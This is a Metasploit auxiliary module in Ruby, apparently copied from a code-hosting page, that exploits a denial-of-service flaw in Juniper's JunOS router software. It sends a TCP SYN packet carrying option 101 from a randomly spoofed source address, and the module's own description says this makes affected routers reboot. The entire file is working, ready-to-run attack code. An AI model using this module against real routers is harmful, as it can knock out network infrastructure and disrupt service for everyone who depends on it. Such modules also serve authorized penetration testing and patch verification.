87 lines
2.2 KiB
Ruby
87 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Dos
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# The whole point is to cause a router crash.
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Rank = LowRanking
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def initialize
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super(
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'Name' => 'Juniper JunOS Malformed TCP Option',
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'Description' => %q{ This module exploits a denial of service vulnerability in Juniper Network's JunOS router operating system. By sending a TCP packet with TCP option 101 set, an attacker can cause an affected router to reboot.
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},
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'Author' => 'todb',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['BID', '37670'],
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['OSVDB', '61538'],
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['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/']
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],
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'Version' => '$Revision$' # 02/02/2010
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)
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register_options([
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OptInt.new('RPORT', [false, 'The destination port (defaults to random)']),
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OptInt.new('SPORT', [false, 'Source port (defaults to random)']),
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OptAddress.new('SHOST', [false, 'Source address (defaults to random)'])
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])
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deregister_options('FILTER','PCAPFILE', 'SNAPLEN')
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end
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def rport
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datastore['RPORT'].to_i.zero? ? rand(0xffff) : datastore['RPORT'].to_i
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end
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def sport
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datastore['SPORT'].to_i.zero? ? rand(0xffff) : datastore['SPORT'].to_i
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end
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def shost
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datastore['SHOST'] || IPAddr.new(rand(0xffffffff), Socket::AF_INET).to_s
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end
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def run
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open_pcap
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.dst_ip = rhost
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n.l3.src_ip = shost
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n.l3.protocol = 6
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n.l3.id = rand(0xffff)
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n.l3.ttl = rand(128) + 128
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n.l4 = Racket::L4::TCP.new
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n.l4.src_port = sport
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n.l4.dst_port = rport
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n.l4.flag_syn = 1
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n.l4.window = rand(4096)+1
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n.l4.ack = 0
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n.l4.seq = rand(0xffffffff)
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n.l4.add_option(101,"")
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip, '')
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pkt = n.pack
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print_status("#{n.l3.dst_ip}:#{n.l4.dst_port} Sending TCP Syn packet from #{n.l3.src_ip}:#{n.l4.src_port}")
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capture_sendto(pkt,rhost)
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close_pcap
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end
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end
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